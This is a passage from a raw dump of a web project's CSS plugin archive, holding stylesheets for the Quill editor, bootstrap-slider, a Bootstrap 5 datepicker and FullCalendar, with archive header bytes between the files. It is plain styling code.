.ql-picker.ql-header .ql-picker-item[data-value="6"]::before { content: 'Heading 6'; } .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="1"]::before { font-size: 2em; } .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="2"]::before { font-size: 1.5em; } .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="3"]::before { font-size: 1.17em; } .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="4"]::before { font-size: 1em; } .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="5"]::before { font-size: 0.83em; } .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="6"]::before { font-size: 0.67em; } .ql-bubble .ql-picker.ql-font { width: 108px; } .ql-bubble .ql-picker.ql-font .ql-picker-label::before, .ql-bubble .ql-picker.ql-font .ql-picker-item::before { content: 'Sans Serif'; } .ql-bubble .ql-picker.ql-font .ql-picker-label[data-value=serif]::before, .ql-bubble .ql-picker.ql-font .ql-picker-item[data-value=serif]::before { content: 'Serif'; } .ql-bubble .ql-picker.ql-font .ql-picker-label[data-value=monospace]::before, .ql-bubble .ql-picker.ql-font .ql-picker-item[data-value=monospace]::before { content: 'Monospace'; } .ql-bubble .ql-picker.ql-font .ql-picker-item[data-value=serif]::before { font-family: Georgia, Times New Roman, serif; } .ql-bubble .ql-picker.ql-font .ql-picker-item[data-value=monospace]::before { font-family: Monaco, Courier New, monospace; } .ql-bubble .ql-picker.ql-size { width: 98px; } .ql-bubble .ql-picker.ql-size .ql-picker-label::before, .ql-bubble .ql-picker.ql-size .ql-picker-item::before { content: 'Normal'; } .ql-bubble .ql-picker.ql-size .ql-picker-label[data-value=small]::before, .ql-bubble .ql-picker.ql-size .ql-picker-item[data-value=small]::before { content: 'Small'; } .ql-bubble .ql-picker.ql-size .ql-picker-label[data-value=large]::before, .ql-bubble .ql-picker.ql-size .ql-picker-item[data-value=large]::before { content: 'Large'; } .ql-bubble .ql-picker.ql-size .ql-picker-label[data-value=huge]::before, .ql-bubble .ql-picker.ql-size .ql-picker-item[data-value=huge]::before { content: 'Huge'; } .ql-bubble .ql-picker.ql-size .ql-picker-item[data-value=small]::before { font-size: 10px; } .ql-bubble .ql-picker.ql-size .ql-picker-item[data-value=large]::before { font-size: 18px; } .ql-bubble .ql-picker.ql-size .ql-picker-item[data-value=huge]::before { font-size: 32px; } .ql-bubble .ql-color-picker.ql-background .ql-picker-item { background-color: #fff; } .ql-bubble .ql-color-picker.ql-color .ql-picker-item { background-color: #000; } .ql-bubble .ql-toolbar .ql-formats { margin: 8px 12px 8px 0px; } .ql-bubble .ql-toolbar .ql-formats:first-child { margin-left: 12px; } .ql-bubble .ql-color-picker svg { margin: 1px; } .ql-bubble .ql-color-picker .ql-picker-item.ql-selected, .ql-bubble .ql-color-picker .ql-picker-item:hover { border-color: #fff; } .ql-bubble .ql-tooltip { background-color: #444; border-radius: 25px; color: #fff; } .ql-bubble .ql-tooltip-arrow { border-left: 6px solid transparent; border-right: 6px solid transparent; content: " "; display: block; left: 50%; margin-left: -6px; position: absolute; } .ql-bubble .ql-tooltip:not(.ql-flip) .ql-tooltip-arrow { border-bottom: 6px solid #444; top: -6px; } .ql-bubble .ql-tooltip.ql-flip .ql-tooltip-arrow { border-top: 6px solid #444; bottom: -6px; } .ql-bubble .ql-tooltip.ql-editing .ql-tooltip-editor { display: block; } .ql-bubble .ql-tooltip.ql-editing .ql-formats { visibility: hidden; } .ql-bubble .ql-tooltip-editor { display: none; } .ql-bubble .ql-tooltip-editor input[type=text] { background: transparent; border: none; color: #fff; font-size: 13px; height: 100%; outline: none; padding: 10px 20px; position: absolute; width: 100%; } .ql-bubble .ql-tooltip-editor a { top: 10px; position: absolute; right: 20px; } .ql-bubble .ql-tooltip-editor a:before { color: #ccc; content: "\D7"; font-size: 16px; font-weight: bold; } .ql-container.ql-bubble:not(.ql-disabled) a { position: relative; white-space: nowrap; } .ql-container.ql-bubble:not(.ql-disabled) a::before { background-color: #444; border-radius: 15px; top: -5px; font-size: 12px; color: #fff; content: attr(href); font-weight: normal; overflow: hidden; padding: 5px 15px; text-decoration: none; z-index: 1; } .ql-container.ql-bubble:not(.ql-disabled) a::after { border-top: 6px solid #444; border-left: 6px solid transparent; border-right: 6px solid transparent; top: 0; content: " "; height: 0; width: 0; } .ql-container.ql-bubble:not(.ql-disabled) a::before, .ql-container.ql-bubble:not(.ql-disabled) a::after { left: 0; margin-left: 50%; position: absolute; transform: translate(-50%, -100%); transition: visibility 0s ease 200ms; visibility: hidden; } .ql-container.ql-bubble:not(.ql-disabled) a:hover::before, .ql-container.ql-bubble:not(.ql-disabled) a:hover::after { visibility: visible; }PKZ<܋$$css/plugins/quill.core.cssnu[/*! * Quill Editor v1.3.7 * https://quilljs.com/ * Copyright (c) 2014, Jason Chen * Copyright (c) 2013, salesforce.com */ .ql-container { box-sizing: border-box; font-family: Helvetica, Arial, sans-serif; font-size: 13px; height: 100%; margin: 0px; position: relative; } .ql-container.ql-disabled .ql-tooltip { visibility: hidden; } .ql-container.ql-disabled .ql-editor ul[data-checked]>li::before { pointer-events: none; } .ql-clipboard { left: -100000px; height: 1px; overflow-y: hidden; position: absolute; top: 50%; } .ql-clipboard p { margin: 0; padding: 0; } .ql-editor { box-sizing: border-box; line-height: 1.42; height: 100%; outline: none; overflow-y: auto; padding: 12px 15px; tab-size: 4; -moz-tab-size: 4; text-align: left; white-space: pre-wrap; word-wrap: break-word; } .ql-editor>* { cursor: text; } .ql-editor p, .ql-editor ol, .ql-editor ul, .ql-editor pre, .ql-editor blockquote, .ql-editor h1, .ql-editor h2, .ql-editor h3, .ql-editor h4, .ql-editor h5, .ql-editor h6 { margin: 0; padding: 0; counter-reset: list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol, .ql-editor ul { padding-left: 1.5em; } .ql-editor ol>li, .ql-editor ul>li { list-style-type: none; } .ql-editor ul>li::before { content: '\2022'; } .ql-editor ul[data-checked=true], .ql-editor ul[data-checked=false] { pointer-events: none; } .ql-editor ul[data-checked=true]>li *, .ql-editor ul[data-checked=false]>li * { pointer-events: all; } .ql-editor ul[data-checked=true]>li::before, .ql-editor ul[data-checked=false]>li::before { color: #777; cursor: pointer; pointer-events: all; } .ql-editor ul[data-checked=true]>li::before { content: '\2611'; } .ql-editor ul[data-checked=false]>li::before { content: '\2610'; } .ql-editor li::before { display: inline-block; white-space: nowrap; width: 1.2em; } .ql-editor li:not(.ql-direction-rtl)::before { margin-left: -1.5em; margin-right: 0.3em; text-align: right; } .ql-editor li.ql-direction-rtl::before { margin-left: 0.3em; margin-right: -1.5em; } .ql-editor ol li:not(.ql-direction-rtl), .ql-editor ul li:not(.ql-direction-rtl) { padding-left: 1.5em; } .ql-editor ol li.ql-direction-rtl, .ql-editor ul li.ql-direction-rtl { padding-right: 1.5em; } .ql-editor ol li { counter-reset: list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9; counter-increment: list-0; } .ql-editor ol li:before { content: counter(list-0, decimal) '. '; } .ql-editor ol li.ql-indent-1 { counter-increment: list-1; } .ql-editor ol li.ql-indent-1:before { content: counter(list-1, lower-alpha) '. '; } .ql-editor ol li.ql-indent-1 { counter-reset: list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-2 { counter-increment: list-2; } .ql-editor ol li.ql-indent-2:before { content: counter(list-2, lower-roman) '. '; } .ql-editor ol li.ql-indent-2 { counter-reset: list-3 list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-3 { counter-increment: list-3; } .ql-editor ol li.ql-indent-3:before { content: counter(list-3, decimal) '. '; } .ql-editor ol li.ql-indent-3 { counter-reset: list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-4 { counter-increment: list-4; } .ql-editor ol li.ql-indent-4:before { content: counter(list-4, lower-alpha) '. '; } .ql-editor ol li.ql-indent-4 { counter-reset: list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-5 { counter-increment: list-5; } .ql-editor ol li.ql-indent-5:before { content: counter(list-5, lower-roman) '. '; } .ql-editor ol li.ql-indent-5 { counter-reset: list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-6 { counter-increment: list-6; } .ql-editor ol li.ql-indent-6:before { content: counter(list-6, decimal) '. '; } .ql-editor ol li.ql-indent-6 { counter-reset: list-7 list-8 list-9; } .ql-editor ol li.ql-indent-7 { counter-increment: list-7; } .ql-editor ol li.ql-indent-7:before { content: counter(list-7, lower-alpha) '. '; } .ql-editor ol li.ql-indent-7 { counter-reset: list-8 list-9; } .ql-editor ol li.ql-indent-8 { counter-increment: list-8; } .ql-editor ol li.ql-indent-8:before { content: counter(list-8, lower-roman) '. '; } .ql-editor ol li.ql-indent-8 { counter-reset: list-9; } .ql-editor ol li.ql-indent-9 { counter-increment: list-9; } .ql-editor ol li.ql-indent-9:before { content: counter(list-9, decimal) '. '; } .ql-editor .ql-indent-1:not(.ql-direction-rtl) { padding-left: 3em; } .ql-editor li.ql-indent-1:not(.ql-direction-rtl) { padding-left: 4.5em; } .ql-editor .ql-indent-1.ql-direction-rtl.ql-align-right { padding-right: 3em; } .ql-editor li.ql-indent-1.ql-direction-rtl.ql-align-right { padding-right: 4.5em; } .ql-editor .ql-indent-2:not(.ql-direction-rtl) { padding-left: 6em; } .ql-editor li.ql-indent-2:not(.ql-direction-rtl) { padding-left: 7.5em; } .ql-editor .ql-indent-2.ql-direction-rtl.ql-align-right { padding-right: 6em; } .ql-editor li.ql-indent-2.ql-direction-rtl.ql-align-right { padding-right: 7.5em; } .ql-editor .ql-indent-3:not(.ql-direction-rtl) { padding-left: 9em; } .ql-editor li.ql-indent-3:not(.ql-direction-rtl) { padding-left: 10.5em; } .ql-editor .ql-indent-3.ql-direction-rtl.ql-align-right { padding-right: 9em; } .ql-editor li.ql-indent-3.ql-direction-rtl.ql-align-right { padding-right: 10.5em; } .ql-editor .ql-indent-4:not(.ql-direction-rtl) { padding-left: 12em; } .ql-editor li.ql-indent-4:not(.ql-direction-rtl) { padding-left: 13.5em; } .ql-editor .ql-indent-4.ql-direction-rtl.ql-align-right { padding-right: 12em; } .ql-editor li.ql-indent-4.ql-direction-rtl.ql-align-right { padding-right: 13.5em; } .ql-editor .ql-indent-5:not(.ql-direction-rtl) { padding-left: 15em; } .ql-editor li.ql-indent-5:not(.ql-direction-rtl) { padding-left: 16.5em; } .ql-editor .ql-indent-5.ql-direction-rtl.ql-align-right { padding-right: 15em; } .ql-editor li.ql-indent-5.ql-direction-rtl.ql-align-right { padding-right: 16.5em; } .ql-editor .ql-indent-6:not(.ql-direction-rtl) { padding-left: 18em; } .ql-editor li.ql-indent-6:not(.ql-direction-rtl) { padding-left: 19.5em; } .ql-editor .ql-indent-6.ql-direction-rtl.ql-align-right { padding-right: 18em; } .ql-editor li.ql-indent-6.ql-direction-rtl.ql-align-right { padding-right: 19.5em; } .ql-editor .ql-indent-7:not(.ql-direction-rtl) { padding-left: 21em; } .ql-editor li.ql-indent-7:not(.ql-direction-rtl) { padding-left: 22.5em; } .ql-editor .ql-indent-7.ql-direction-rtl.ql-align-right { padding-right: 21em; } .ql-editor li.ql-indent-7.ql-direction-rtl.ql-align-right { padding-right: 22.5em; } .ql-editor .ql-indent-8:not(.ql-direction-rtl) { padding-left: 24em; } .ql-editor li.ql-indent-8:not(.ql-direction-rtl) { padding-left: 25.5em; } .ql-editor .ql-indent-8.ql-direction-rtl.ql-align-right { padding-right: 24em; } .ql-editor li.ql-indent-8.ql-direction-rtl.ql-align-right { padding-right: 25.5em; } .ql-editor .ql-indent-9:not(.ql-direction-rtl) { padding-left: 27em; } .ql-editor li.ql-indent-9:not(.ql-direction-rtl) { padding-left: 28.5em; } .ql-editor .ql-indent-9.ql-direction-rtl.ql-align-right { padding-right: 27em; } .ql-editor li.ql-indent-9.ql-direction-rtl.ql-align-right { padding-right: 28.5em; } .ql-editor .ql-video { display: block; max-width: 100%; } .ql-editor .ql-video.ql-align-center { margin: 0 auto; } .ql-editor .ql-video.ql-align-right { margin: 0 0 0 auto; } .ql-editor .ql-bg-black { background-color: #000; } .ql-editor .ql-bg-red { background-color: #e60000; } .ql-editor .ql-bg-orange { background-color: #f90; } .ql-editor .ql-bg-yellow { background-color: #ff0; } .ql-editor .ql-bg-green { background-color: #008a00; } .ql-editor .ql-bg-blue { background-color: #06c; } .ql-editor .ql-bg-purple { background-color: #93f; } .ql-editor .ql-color-white { color: #fff; } .ql-editor .ql-color-red { color: #e60000; } .ql-editor .ql-color-orange { color: #f90; } .ql-editor .ql-color-yellow { color: #ff0; } .ql-editor .ql-color-green { color: #008a00; } .ql-editor .ql-color-blue { color: #06c; } .ql-editor .ql-color-purple { color: #93f; } .ql-editor .ql-font-serif { font-family: Georgia, Times New Roman, serif; } .ql-editor .ql-font-monospace { font-family: Monaco, Courier New, monospace; } .ql-editor .ql-size-small { font-size: 0.75em; } .ql-editor .ql-size-large { font-size: 1.5em; } .ql-editor .ql-size-huge { font-size: 2.5em; } .ql-editor .ql-direction-rtl { direction: rtl; text-align: inherit; } .ql-editor .ql-align-center { text-align: center; } .ql-editor .ql-align-justify { text-align: justify; } .ql-editor .ql-align-right { text-align: right; } .ql-editor.ql-blank::before { color: rgba(0, 0, 0, 0.6); content: attr(data-placeholder); font-style: italic; left: 15px; pointer-events: none; position: absolute; right: 15px; }PKZ++$css/plugins/bootstrap-slider.min.cssnu[/*! ======================================================= VERSION 11.0.2 ========================================================= */ /*! ========================================================= * bootstrap-slider.js * * Maintainers: * Kyle Kemp * - Twitter: @seiyria * - Github: seiyria * Rohit Kalkur * - Twitter: @Rovolutionary * - Github: rovolution * * ========================================================= * * bootstrap-slider is released under the MIT License * Copyright (c) 2019 Kyle Kemp, Rohit Kalkur, and contributors * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * ========================================================= */.slider{display:inline-block;vertical-align:middle;position:relative}.slider.slider-horizontal{width:210px;height:20px}.slider.slider-horizontal .slider-track{height:10px;width:100%;margin-top:-5px;top:50%;left:0}.slider.slider-horizontal .slider-selection,.slider.slider-horizontal .slider-track-low,.slider.slider-horizontal .slider-track-high{height:100%;top:0;bottom:0}.slider.slider-horizontal .slider-tick,.slider.slider-horizontal .slider-handle{margin-left:-10px}.slider.slider-horizontal .slider-tick.triangle,.slider.slider-horizontal .slider-handle.triangle{position:relative;top:50%;transform:translateY(-50%);border-width:0 10px 10px 10px;width:0;height:0;border-bottom-color:#036fa5;margin-top:0}.slider.slider-horizontal .slider-tick-container{white-space:nowrap;position:absolute;top:0;left:0;width:100%}.slider.slider-horizontal .slider-tick-label-container{white-space:nowrap;margin-top:20px}.slider.slider-horizontal .slider-tick-label-container .slider-tick-label{display:inline-block;text-align:center}.slider.slider-horizontal.slider-rtl .slider-track{left:initial;right:0}.slider.slider-horizontal.slider-rtl .slider-tick,.slider.slider-horizontal.slider-rtl .slider-handle{margin-left:initial;margin-right:-10px}.slider.slider-horizontal.slider-rtl .slider-tick-container{left:initial;right:0}.slider.slider-vertical{height:210px;width:20px}.slider.slider-vertical .slider-track{width:10px;height:100%;left:25%;top:0}.slider.slider-vertical .slider-selection{width:100%;left:0;top:0;bottom:0}.slider.slider-vertical .slider-track-low,.slider.slider-vertical .slider-track-high{width:100%;left:0;right:0}.slider.slider-vertical .slider-tick,.slider.slider-vertical .slider-handle{margin-top:-10px}.slider.slider-vertical .slider-tick.triangle,.slider.slider-vertical .slider-handle.triangle{border-width:10px 0 10px 10px;width:1px;height:1px;border-left-color:#036fa5;margin-left:0}.slider.slider-vertical .slider-tick-label-container{white-space:nowrap}.slider.slider-vertical .slider-tick-label-container .slider-tick-label{padding-left:4px}.slider.slider-vertical.slider-rtl .slider-track{left:initial;right:25%}.slider.slider-vertical.slider-rtl .slider-selection{left:initial;right:0}.slider.slider-vertical.slider-rtl .slider-tick.triangle,.slider.slider-vertical.slider-rtl .slider-handle.triangle{border-width:10px 10px 10px 0}.slider.slider-vertical.slider-rtl .slider-tick-label-container .slider-tick-label{padding-left:initial;padding-right:4px}.slider.slider-disabled .slider-handle{background-color:#cfcfcf;background-image:-moz-linear-gradient(top, #DFDFDF, #BEBEBE);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#DFDFDF), to(#BEBEBE));background-image:-webkit-linear-gradient(top, #DFDFDF, #BEBEBE);background-image:-o-linear-gradient(top, #DFDFDF, #BEBEBE);background-image:linear-gradient(to bottom, #DFDFDF, #BEBEBE);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#DFDFDF', endColorstr='#BEBEBE',GradientType=0)}.slider.slider-disabled .slider-track{background-color:#e7e7e7;background-image:-moz-linear-gradient(top, #E5E5E5, #E9E9E9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#E5E5E5), to(#E9E9E9));background-image:-webkit-linear-gradient(top, #E5E5E5, #E9E9E9);background-image:-o-linear-gradient(top, #E5E5E5, #E9E9E9);background-image:linear-gradient(to bottom, #E5E5E5, #E9E9E9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#E5E5E5', endColorstr='#E9E9E9',GradientType=0);cursor:not-allowed}.slider input{display:none}.slider .tooltip-inner{white-space:nowrap;max-width:none}.slider .bs-tooltip-top .tooltip-inner,.slider .bs-tooltip-bottom .tooltip-inner{position:relative;left:-50%}.slider.bs-tooltip-left .tooltip-inner,.slider.bs-tooltip-right .tooltip-inner{position:relative;top:-100%}.slider .tooltip{pointer-events:none}.slider .tooltip.bs-tooltip-top .arrow,.slider .tooltip.bs-tooltip-bottom .arrow{left:-.4rem}.slider .tooltip.bs-tooltip-top{margin-top:-44px}.slider .tooltip.bs-tooltip-bottom{margin-top:2px}.slider .tooltip.bs-tooltip-left,.slider .tooltip.bs-tooltip-right{margin-top:-14px}.slider .tooltip.bs-tooltip-left .arrow,.slider .tooltip.bs-tooltip-right .arrow{top:8px}.slider .hide{display:none}.slider-track{background-color:#f7f7f7;background-image:-moz-linear-gradient(top, #f5f5f5, #F9F9F9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#F9F9F9));background-image:-webkit-linear-gradient(top, #f5f5f5, #F9F9F9);background-image:-o-linear-gradient(top, #f5f5f5, #F9F9F9);background-image:linear-gradient(to bottom, #f5f5f5, #F9F9F9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#F9F9F9',GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;position:absolute;cursor:pointer}.slider-selection{background-color:#f7f7f7;background-image:-moz-linear-gradient(top, #F9F9F9, #f5f5f5);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#F9F9F9), to(#f5f5f5));background-image:-webkit-linear-gradient(top, #F9F9F9, #f5f5f5);background-image:-o-linear-gradient(top, #F9F9F9, #f5f5f5);background-image:linear-gradient(to bottom, #F9F9F9, #f5f5f5);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#F9F9F9', endColorstr='#f5f5f5',GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;position:absolute}.slider-selection.tick-slider-selection{background-color:#46c1fe;background-image:-moz-linear-gradient(top, #52c5ff, #3abcfd);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#52c5ff), to(#3abcfd));background-image:-webkit-linear-gradient(top, #52c5ff, #3abcfd);background-image:-o-linear-gradient(top, #52c5ff, #3abcfd);background-image:linear-gradient(to bottom, #52c5ff, #3abcfd);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#52c5ff', endColorstr='#3abcfd',GradientType=0)}.slider-track-low,.slider-track-high{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;position:absolute;background:transparent}.slider-handle{background-color:#0478b2;background-image:-moz-linear-gradient(top, #0480BE, #036fa5);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0480BE), to(#036fa5));background-image:-webkit-linear-gradient(top, #0480BE, #036fa5);background-image:-o-linear-gradient(top, #0480BE, #036fa5);background-image:linear-gradient(to bottom, #0480BE, #036fa5);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0480BE', endColorstr='#036fa5',GradientType=0);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);position:absolute;top:0;width:20px;height:20px;background-color:#0480BE;border:0px solid transparent}.slider-handle:hover{cursor:pointer}.slider-handle.round{-webkit-border-radius:20px;-moz-border-radius:20px;border-radius:20px}.slider-handle.triangle{background:transparent none}.slider-handle.custom{background:transparent none}.slider-handle.custom::before{line-height:20px;font-size:20px;content:'\2605';color:#726204}.slider-tick{background-color:#f7f7f7;background-image:-moz-linear-gradient(top, #f5f5f5, #F9F9F9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#F9F9F9));background-image:-webkit-linear-gradient(top, #f5f5f5, #F9F9F9);background-image:-o-linear-gradient(top, #f5f5f5, #F9F9F9);background-image:linear-gradient(to bottom, #f5f5f5, #F9F9F9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#F9F9F9',GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;position:absolute;cursor:pointer;width:20px;height:20px;filter:none;opacity:0.8;border:0px solid transparent}.slider-tick.round{border-radius:50%}.slider-tick.triangle{background:transparent none}.slider-tick.custom{background:transparent none}.slider-tick.custom::before{line-height:20px;font-size:20px;content:'\2605';color:#726204}.slider-tick.in-selection{background-color:#46c1fe;background-image:-moz-linear-gradient(top, #52c5ff, #3abcfd);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#52c5ff), to(#3abcfd));background-image:-webkit-linear-gradient(top, #52c5ff, #3abcfd);background-image:-o-linear-gradient(top, #52c5ff, #3abcfd);background-image:linear-gradient(to bottom, #52c5ff, #3abcfd);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#52c5ff', endColorstr='#3abcfd',GradientType=0);opacity:1} /*# sourceMappingURL=bootstrap-slider.min.css.map */PKZun"css/plugins/datepicker-bs5.min.cssnu[.datepicker{display:none}.datepicker.active{display:block}.datepicker-dropdown{left:0;padding-top:4px;position:absolute;top:0;z-index:1000}.datepicker-dropdown.datepicker-orient-top{padding-bottom:4px;padding-top:0}.datepicker-picker{background-color:#fff;border-radius:.25rem;display:inline-block}.datepicker-dropdown .datepicker-picker{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)}.datepicker-picker span{-webkit-touch-callout:none;border:0;border-radius:.25rem;cursor:default;display:block;flex:1;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.datepicker-main{padding:2px}.datepicker-footer{background-color:#f8f9fa;box-shadow:inset 0 1px 1px rgba(0,0,0,.1)}.datepicker-controls,.datepicker-grid,.datepicker-view,.datepicker-view .days-of-week{display:flex}.datepicker-grid{flex-wrap:wrap}.datepicker-view .days .datepicker-cell,.datepicker-view .dow{flex-basis:14.2857142857%}.datepicker-view.datepicker-grid .datepicker-cell{flex-basis:25%}.datepicker-cell,.datepicker-view .week{height:2.25rem;line-height:2.25rem}.datepicker-title{background-color:#f8f9fa;box-shadow:inset 0 -1px 1px rgba(0,0,0,.1);font-weight:700;padding:.375rem .75rem;text-align:center}.datepicker-header .datepicker-controls{padding:2px 2px 0}.datepicker-controls .btn{background-color:#fff;border-color:#f8f9fa}.datepicker-controls .btn:focus,.datepicker-controls .btn:hover{background-color:#e2e6ea;border-color:#dae0e5;color:#000}.datepicker-controls .btn:focus{box-shadow:0 0 0 .25rem hsla(210,2%,83%,.5)}.datepicker-controls .btn:disabled{background-color:#f8f9fa;border-color:#f8f9fa;color:#000}.datepicker-controls .btn:not(:disabled):active{background-color:#dae0e5;border-color:#d3d9df;color:#000}.datepicker-controls .btn:not(:disabled):active:focus{box-shadow:0 0 0 .25rem hsla(210,2%,83%,.5)}.datepicker-header .datepicker-controls .btn{border-color:transparent;font-weight:700}.datepicker-footer .datepicker-controls .btn{border-radius:.2rem;font-size:.875rem;margin:calc(.375rem - 1px) .375rem;width:100%}.datepicker-controls .view-switch{flex:auto}.datepicker-controls .next-btn,.datepicker-controls .prev-btn{padding-left:.375rem;padding-right:.375rem;width:2.25rem}.datepicker-controls .next-btn.disabled,.datepicker-controls .prev-btn.disabled{visibility:hidden}.datepicker-view .dow{font-size:.9375rem;font-weight:700;height:1.5rem;line-height:1.5rem}.datepicker-view .week{color:#dee2e6;font-size:.875rem;width:2.25rem}@media (max-width:22.5rem){.datepicker-view .week{width:1.96875rem}}.datepicker-grid{width:15.75rem}@media (max-width:22.5rem){.calendar-weeks+.days .datepicker-grid{width:13.78125rem}}.datepicker-cell:not(.disabled):hover{background-color:#f9f9f9;cursor:pointer}.datepicker-cell.focused:not(.selected){background-color:#e2e6ea}.datepicker-cell.selected,.datepicker-cell.selected:hover{background-color:#0d6efd;color:#fff;font-weight:600}.datepicker-cell.disabled{color:#adb5bd}.datepicker-cell.next:not(.disabled),.datepicker-cell.prev:not(.disabled){color:color("gray")}.datepicker-cell.next.selected,.datepicker-cell.prev.selected{color:#e6e6e6}.datepicker-cell.highlighted:not(.selected):not(.range):not(.today){background-color:#f8f9fa;border-radius:0}.datepicker-cell.highlighted:not(.selected):not(.range):not(.today):not(.disabled):hover{background-color:#f1f3f5}.datepicker-cell.highlighted:not(.selected):not(.range):not(.today).focused{background-color:#e2e6ea}.datepicker-cell.today:not(.selected){background-color:#20c997}.datepicker-cell.today:not(.selected):not(.disabled){color:#fff}.datepicker-cell.today.focused:not(.selected){background-color:#1ebe8f}.datepicker-cell.range-end:not(.selected),.datepicker-cell.range-start:not(.selected){background-color:#6c757d;color:#fff}.datepicker-cell.range-end.focused:not(.selected),.datepicker-cell.range-start.focused:not(.selected){background-color:#666f76}.datepicker-cell.range-start{border-radius:.25rem 0 0 .25rem}.datepicker-cell.range-end{border-radius:0 .25rem .25rem 0}.datepicker-cell.range{background-color:#e9ecef;border-radius:0}.datepicker-cell.range:not(.disabled):not(.focused):not(.today):hover{background-color:#e2e6ea}.datepicker-cell.range.disabled{color:#cbd3da}.datepicker-cell.range.focused{background-color:#dadfe4}.datepicker-view.datepicker-grid .datepicker-cell{height:4.5rem;line-height:4.5rem}.datepicker-input.in-edit{border-color:#6da8fe}.datepicker-input.in-edit:active,.datepicker-input.in-edit:focus{box-shadow:0 0 .25em .25em rgba(109,168,254,.2)}PKZcss/plugins/main.cssnu[ /* classes attached to */ /* TODO: make fc-event selector work when calender in shadow DOM */ .fc-not-allowed, .fc-not-allowed .fc-event { /* override events' custom cursors */ cursor: not-allowed; } /* TODO: not attached to body. attached to specific els. move */ .fc-unselectable { -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; -webkit-touch-callout: none; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } .fc { /* layout of immediate children */ display: flex; flex-direction: column; font-size: 1em } .fc, .fc *, .fc *:before, .fc *:after { box-sizing: border-box; } .fc table { border-collapse: collapse; border-spacing: 0; font-size: 1em; /* normalize cross-browser */ } .fc th { text-align: center; } .fc th, .fc td { vertical-align: top; padding: 0; } .fc a[data-navlink] { cursor: pointer; } .fc a[data-navlink]:hover { text-decoration: underline; } .fc-direction-ltr { direction: ltr; text-align: left; } .fc-direction-rtl { direction: rtl; text-align: right; } .fc-theme-standard td, .fc-theme-standard th { border: 1px solid #ddd; border: 1px solid var(--fc-border-color, #ddd); } /* for FF, which doesn't expand a 100% div within a table cell. use absolute positioning */ /* inner-wrappers are responsible for being absolute */ /* TODO: best place for this? */ 